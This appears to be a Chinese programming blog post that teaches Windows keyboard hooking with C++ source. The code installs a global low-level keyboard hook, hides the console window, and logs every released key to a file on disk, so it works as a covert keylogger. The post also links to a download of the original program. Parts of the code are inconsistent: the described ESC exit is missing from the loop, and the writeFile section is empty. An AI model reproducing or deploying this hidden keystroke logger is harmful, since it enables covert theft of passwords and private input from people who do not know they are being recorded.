众所周知,消息传递在Windows系统中拥有极其重要的地位,而钩子是消息一种特殊的工具,可以截获指定窗口的消息,然后对消息进行处理或者不进行处理直接传递到下一层。
本程序分两部分:
1.KeyboardHook.dll 负责对指定窗口下钩子,删除钩子等操作。
2.KeyboardHookTest调用以上动态链接库,提供交互操作界面。
正文:
1.KeyboardHook.dll
1.1 SetHook(下钩程序)
void SetHook(DWORD dwThreadID)
{
HMODULE mod = GetModuleHandle("KeyboardHookDLL.dll"); //获取当前DLL模块句柄
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, mod, 0);
g_dwThreadID = dwThreadID;
}
代码分析:
SetWindowsHookEx原型
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);
第一个参数:idHook指示被下钩处理过程的类型
第二个参数是钩子的回调函数
第三个参数是第二个参数指示的回调函数所在的动态链接库的句柄
第四个参数线程标识符,若为0则为全局钩子
1.2回调函数
LRESULT CALLBACK LowLevelKeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam
)
{
// 按键释放为一个键值
if ( WM_KEYUP == wParam)
{
KBDLLHOOKSTRUCT* pKHook = (KBDLLHOOKSTRUCT*) lParam;
PostThreadMessage(g_dwThreadID, WM_GLOBALKEYBOARD, pKHook->vkCode, pKHook->scanCode);
}
return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}
wParam和lParam是消息的两个参数,指示了消息的类型。
获取到按键抬起时发送一条自定义的消息,然后在KeyboardHookTest中对消息进行处理。
1.3DeleteHook
void DeleteHook()
{
UnhookWindowsHookEx(g_hKeyboardHook);
}
2.KeyboardHookTest
2.1主程序
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
ShowWindow(GetConsoleWindow(),SW_HIDE); //隐藏窗口
SetHook(GetCurrentThreadId());
MSG msg;
char content[16] = {0};
int a = 0;
while(TRUE)
{
if(PeekMessage(&msg, NULL, NULL, NULL, PM_REMOVE))
{
if (WM_GLOBALKEYBOARD == msg.message)
{
printf("vkCode:0x%02x, scanCode:0x%02x\n", msg.wParam, msg.lParam);
sprintf(content, "%c\r\n", msg.wParam);
writeFile(L"C:\\test2.txt", content, 3);
}
}
}
DeleteHook();
return nRetCode;
}
程序启动->隐藏窗口->下钩->获取键盘消息->按ASCII值存储文件,ESC退出并删除钩子
2.2writeFile
正文完。
资源链接:http://download.csdn.net/download/jupiter37/9435162
注意:此链接是原始程序,本文按改造后的程序讲述,因此并不完全相符,大体是差不多的,读者自行理解。
编程环境win7 64位,vs2010